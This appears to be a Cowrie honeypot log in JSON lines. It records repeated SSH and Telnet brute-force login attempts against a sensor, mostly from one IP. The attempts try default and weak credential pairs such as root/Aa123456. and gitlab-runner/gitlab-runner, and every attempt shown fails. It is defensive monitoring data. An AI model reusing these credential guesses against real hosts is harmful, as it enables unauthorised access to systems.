{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:52.646021Z","src_ip":"172.237.20.62","session":"e2941f8577d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:18:53.808981Z","src_ip":"172.237.20.62","session":"e2941f8577d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52064,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6c277a0d598","protocol":"ssh","message":"New connection: 172.237.20.62:52064 (159.203.135.109:22) [session: a6c277a0d598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:02.995942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:03.000805Z","src_ip":"172.237.20.62","session":"a6c277a0d598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:03.163580Z","src_ip":"172.237.20.62","session":"a6c277a0d598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:03.644804Z","src_ip":"172.237.20.62","session":"a6c277a0d598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:04.807960Z","src_ip":"172.237.20.62","session":"a6c277a0d598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53112,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ff83c9af5eb","protocol":"ssh","message":"New connection: 172.237.20.62:53112 (159.203.135.109:22) [session: 1ff83c9af5eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:14.020718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:14.025921Z","src_ip":"172.237.20.62","session":"1ff83c9af5eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:14.186128Z","src_ip":"172.237.20.62","session":"1ff83c9af5eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:14.861910Z","src_ip":"172.237.20.62","session":"1ff83c9af5eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:16.028603Z","src_ip":"172.237.20.62","session":"1ff83c9af5eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56636,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e3025e6767c","protocol":"ssh","message":"New connection: 172.237.20.62:56636 (159.203.135.109:22) [session: 2e3025e6767c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:24.899099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:24.903606Z","src_ip":"172.237.20.62","session":"2e3025e6767c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:25.076124Z","src_ip":"172.237.20.62","session":"2e3025e6767c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.212.77.77","src_port":56841,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dbaf64d2266","protocol":"telnet","message":"New connection: 115.212.77.77:56841 (159.203.135.109:23) [session: 5dbaf64d2266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:25.595663Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:25.613562Z","src_ip":"172.237.20.62","session":"2e3025e6767c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:26.778309Z","src_ip":"172.237.20.62","session":"2e3025e6767c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.220.50","src_port":33538,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eaea9ea1043","protocol":"telnet","message":"New connection: 157.245.220.50:33538 (159.203.135.109:23) [session: 1eaea9ea1043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:28.408181Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49600,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aa9ea6da0ea","protocol":"ssh","message":"New connection: 172.237.20.62:49600 (159.203.135.109:22) [session: 8aa9ea6da0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:35.908347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:35.913290Z","src_ip":"172.237.20.62","session":"8aa9ea6da0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:36.140519Z","src_ip":"172.237.20.62","session":"8aa9ea6da0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:36.635047Z","src_ip":"172.237.20.62","session":"8aa9ea6da0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:37.797330Z","src_ip":"172.237.20.62","session":"8aa9ea6da0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.744511604309082,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:38.340052Z","src_ip":"115.212.77.77","session":"5dbaf64d2266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46806,"dst_ip":"159.203.135.109","dst_port":22,"session":"e24cde908ebb","protocol":"ssh","message":"New connection: 172.237.20.62:46806 (159.203.135.109:22) [session: e24cde908ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:46.933647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:46.949554Z","src_ip":"172.237.20.62","session":"e24cde908ebb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:47.116129Z","src_ip":"172.237.20.62","session":"e24cde908ebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.48.151","src_port":34639,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb4d34479a2c","protocol":"telnet","message":"New connection: 82.197.48.151:34639 (159.203.135.109:23) [session: cb4d34479a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:47.673128Z"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:47.741368Z","src_ip":"172.237.20.62","session":"e24cde908ebb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:48.909003Z","src_ip":"172.237.20.62","session":"e24cde908ebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":55540,"dst_ip":"159.203.135.109","dst_port":22,"session":"edabf120c635","protocol":"ssh","message":"New connection: 172.237.20.62:55540 (159.203.135.109:22) [session: edabf120c635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:58.167365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:58.175243Z","src_ip":"172.237.20.62","session":"edabf120c635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:58.332870Z","src_ip":"172.237.20.62","session":"edabf120c635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:19:58.847168Z","src_ip":"172.237.20.62","session":"edabf120c635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:00.008360Z","src_ip":"172.237.20.62","session":"edabf120c635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.43056583404541,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:01.103574Z","src_ip":"82.197.48.151","session":"cb4d34479a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":42006,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b3b1452c6c3","protocol":"ssh","message":"New connection: 172.237.20.62:42006 (159.203.135.109:22) [session: 1b3b1452c6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:09.065871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:09.071139Z","src_ip":"172.237.20.62","session":"1b3b1452c6c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:09.231571Z","src_ip":"172.237.20.62","session":"1b3b1452c6c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:09.772830Z","src_ip":"172.237.20.62","session":"1b3b1452c6c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":54201,"dst_ip":"10.17.0.5","dst_port":22,"session":"8546c95fc14a","protocol":"ssh","message":"New connection: 2.57.121.112:54201 (10.17.0.5:22) [session: 8546c95fc14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:10.412431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:10.422572Z","src_ip":"2.57.121.112","session":"8546c95fc14a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:10.532922Z","src_ip":"2.57.121.112","session":"8546c95fc14a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:20:10.939711Z","src_ip":"172.237.20.62","session":"1b3b1452c6c3","protocol":"ssh"}
